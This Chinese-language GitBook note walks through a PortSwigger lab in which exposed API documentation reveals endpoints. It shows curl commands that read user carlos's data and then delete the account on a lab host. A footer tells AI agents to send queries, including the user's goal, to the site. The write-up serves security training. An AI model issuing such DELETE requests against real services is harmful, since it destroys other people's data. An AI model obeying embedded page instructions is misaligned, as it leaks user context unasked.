> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/api-testing/exploiting-an-api-endpoint-using-documentation.md).
# 使用文档利用端点
面向 PortSwigger Web Security Academy 实验室的使用文档利用端点笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。
### 利用文档中的 API 端点
**实验目标**
本实验的目标是找到公开的 API 文档，然后使用一个端点删除用户 **carlos**。/ 提供了一个有效账户用于测试：
* **凭据**: `wiener:peter`
**API 文档的发现**
浏览应用程序后可识别出一条路由，通向一个 **REST API** ，其中包含其文档。/ 该文档清楚地描述了可用的端点，甚至提供了可直接使用的请求示例，包括以 **curl** 命令的形式。
**检索用户信息**
从文档中可以看出，有一个端点允许用户通过指定其姓名来检索信息。/ 所提供的请求返回了用户数据 **carlos**:
* 请求：
* 方法： `GET`
* 端点： `/api/user/carlos`
{% code overflow="wrap" %}
```bash
curl -vgw "/n" -X GET 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos'
```
{% endcode %}
* 答案：
* 服务器返回一个包含用户名和电子邮件地址的 JSON 对象。
```json
{
"username": "carlos",
"email": "carlos@carlos-montoya.net"
}
```
**删除 carlos 用户**
文档还表明，可以通过一个专门的请求删除用户。/ 使用相应的端点和适当的方法：
* 请求：
* 方法： `DELETE`
* 端点： `/api/user/carlos`
{% code overflow="wrap" %}
```bash
curl -vgw "/n" -X DELETE 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos' -d '{}'
```
{% endcode %}
* 结果：
* 服务器接受了该请求，并返回一条确认用户已被删除的消息。
```json
{
"status": "用户已删除"
}
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/api-testing/exploiting-an-api-endpoint-using-documentation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
